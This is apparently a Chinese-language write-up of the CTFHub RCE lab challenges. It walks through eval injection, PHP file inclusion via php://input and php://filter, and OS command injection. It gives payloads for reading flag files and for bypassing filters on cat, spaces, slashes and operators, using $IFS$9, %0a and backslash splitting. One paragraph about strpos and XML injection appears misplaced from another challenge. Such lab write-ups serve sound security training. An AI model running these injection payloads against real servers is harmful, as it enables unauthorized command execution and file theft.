CTFHub-RCE
eval执行
从源代码来看,这里就是直接eval输出request请求的cmd命令
那我们直接查看目录?cmd=system("ls");
这里并没有发现有用的东西,我们访问前一级目录,?cmd=system("ls%20/");
发现flag_15266,?cmd=system("cat%20/flag_15266");
文件包含
从源码发现这里有一个file参数,且这里有一个shell.txt。
strpos 函数返回查找到的子字符串的下标。如果字符串开头就是我们要搜索的目标,则返回下标 0 ;如果搜索不到,则返回 false 。在这道题目中,开发者只考虑到 strpos 函数返回 false 的情况,却忽略了匹配到的字符在首位时会返回 0 的情况,因为 false和 0 的取反均为 true 。 这样我们就可以在用户名和密码首字符注入 < 符号,从而注入xml数据。
那我们让file=shell.txt
点开链接发现shell内容,这里能够传入ctfhub参数的值
用hackerbar编写ctfhub内容并传入,查看目录
查看上一级目录
输出flag值
php://input
从源码发现这里的file必须以php://
开头,且这一关没有脚本可以使用。
知识点 php://input
php:// — 访问各个输入/输出流(I/O streams)
php://input 是个可以访问请求的原始数据的只读流.
可以接收post请求作为输入流的输入,将请求作为PHP代码的输入传递给目标变量,以达到以post 的形式进行输入的目的。
这里通过burpsuite构造php代码,先查看目录
查看上一级目录
输出flag
读取源代码
php://filter
的主要作用是提供一种机制,让您可以轻松地在数据流上应用一个或多个过滤器。
php://filter 的基本格式如下:php://filter/read=?/resource=?
这关代码和上一关一样,但是不能使用php://input
,由于题目提示flag in /flag,我们将资源位置改成该位置,编码方式采用base64。
payload:?file=php://filter/read=convert.base64-encode/resource=/flag
得到base64编码的flag
通过hackbar的解码功能解码base64
远程包含
从源代码看,我们不能通过文件路径直接访问flag
这关可以直接采用php://input上传我们的php代码执行system命令。查看目录<?php system('ls')?>
查看上级目录<?php system('ls /')?>
输出flag
命令注入
这里会根据输入的ip执行一定的命令,且无过滤。
再linux中;
,||
,&&
都可以用于分割多条命令;
:各个命令都执行||
:前一条执行失败才执行后一条&&
:前一条执行成功才执行后一条
输入ip;ls
输入ip;ls /
,并没有发现flag
查找目录中的php文件,;cat 1420527519584.php
,打不开
应该是有特殊字符,使用base64加密输出,;cat 1420527519584.php | base64
hackbar解码
过滤cat
这一关将cat过滤了,我们使用其他命令读取即可
先查看目录,;ls
linux查看文本的命令cat
:由第一行开始显示内容,并将所有内容输出tac
:从最后一行倒序显示内容,并将所有内容输出more
:根据窗口大小,一页一页的现实文件内容less
:和more类似,但其优点可以往前翻页,而且进行可以搜索字符head
:只显示头几行tail
:只显示最后几行nl
:类似于cat -n,显示时输出行号tailf
:类似于tail -f
使用more查看flag文件,base64编码,并使用hackbar解码
过滤空格
这里将空格过滤了,那我们考虑有什么方法不用空格还能执行命令的方法
查看目录
搜索查到绕过方式
1 | cat flag.txt |
我们使用<
替换空格,;cat$IFS$9flag_325972945528.php|base64
,试了<
不知道为什么不行
过滤目录分隔符
从代码来看,这里过滤了目录分隔符/
查看目录发现,flag再当前目录的文件夹里,但是我们不能使用/
,想其他办法访问子文件夹
我们可以cd命令改变当前文件夹,进入到子文件夹,再通过cat输出flag,即写三个命令。;cd flag_is_here;cat flag_5807214223441.php|base64
过滤运算符
这关过滤了|&
查看目录发现flag就在该目录下;cat flag_18969215614994.php|base64
含有管道符无法执行,搜索发现,可以直接base64 flag.php
编码输出;base64 flag_18969215614994.php
综合过滤练习
这一关过滤了太多太多| & ; cat flag ctfhub 空格
url中传给ip值,?ip=110.242.68.66%0als#
payload?ip=110.242.68.66%0acd$IFS$9fla\g_is_here%0als#
,%0a
替换分号,$IFS$9
替换空格,\
分开flag
payload?ip=110.242.68.66%0acd$IFS$9fla\g_is_here%0abase64$IFS$9fla\g_566967514602.php#
base64
替换cat
查找其他资料发现flag也可以用正则f***
绕过